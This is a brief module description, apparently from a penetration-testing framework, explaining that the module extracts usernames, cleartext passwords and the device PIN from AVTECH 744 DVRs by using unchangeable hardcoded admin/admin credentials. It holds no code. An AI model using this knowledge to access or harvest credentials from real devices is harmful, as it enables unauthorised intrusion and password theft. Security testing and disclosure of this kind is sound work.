This module will extract the account information from the AVTECH 744 DVR devices,
including usernames, cleartext passwords, and the device PIN, along with
a few other miscellaneous details. In order to extract the information, hardcoded
credentials admin/admin are used. These credentials can't be changed from the device
console UI nor from the web UI.
